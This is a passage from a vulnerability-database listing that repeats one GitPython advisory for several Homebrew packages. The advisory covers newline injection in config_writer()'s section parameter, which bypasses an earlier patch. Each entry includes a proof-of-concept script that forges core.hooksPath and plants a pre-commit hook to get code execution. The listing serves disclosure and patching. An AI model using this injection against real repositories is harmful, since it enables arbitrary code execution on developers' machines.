"resource_purl": "pkg:pypi/gitpython@3.1.51",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "btcli",
"purl": "pkg:brew/btcli"
},
"ranges": [
{
"events": [
{
"introduced": "9.5.1"
},
{
"fixed": "9.21.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.51",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.51"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-btcli-CVE-2026-67326",
"modified": "2026-09-20T10:29:49Z",
"published": "2026-08-13T16:38:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CF2TF-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:39 – Updated: 2026-09-20 10:45 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cf2tf",
"purl": "pkg:brew/cf2tf"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.9.2_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cf2tf-CVE-2026-67326",
"modified": "2026-09-20T10:45:40Z",
"published": "2026-08-13T16:39:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CHECKOV-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:39 – Updated: 2026-09-20 12:11 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "checkov",
"purl": "pkg:brew/checkov"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.616"
},
{
"fixed": "3.2.520_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-checkov-CVE-2026-67326",
"modified": "2026-09-20T12:11:46Z",
"published": "2026-08-13T16:39:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-COBO-CLI-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:40 – Updated: 2026-09-20 10:47 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.50",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cobo-cli",
"purl": "pkg:brew/cobo-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.4"
},
{
"fixed": "0.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.50",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.50"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cobo-cli-CVE-2026-67326",
"modified": "2026-09-20T10:47:08Z",
"published": "2026-08-13T16:40:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CONDA-LOCK-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-20 10:47 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "conda-lock",
"purl": "pkg:brew/conda-lock"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "4.0.0_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-conda-lock-CVE-2026-67326",
"modified": "2026-09-20T10:47:43Z",
"published": "2026-08-13T16:41:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CRUFT-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-20 12:11 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cruft",
"purl": "pkg:brew/cruft"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.16.0_9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cruft-CVE-2026-67326",
"modified": "2026-09-20T12:11:57Z",
"published": "2026-08-13T16:41:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-CYCODE-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:42 – Updated: 2026-09-20 10:52 – Source websiteSummary
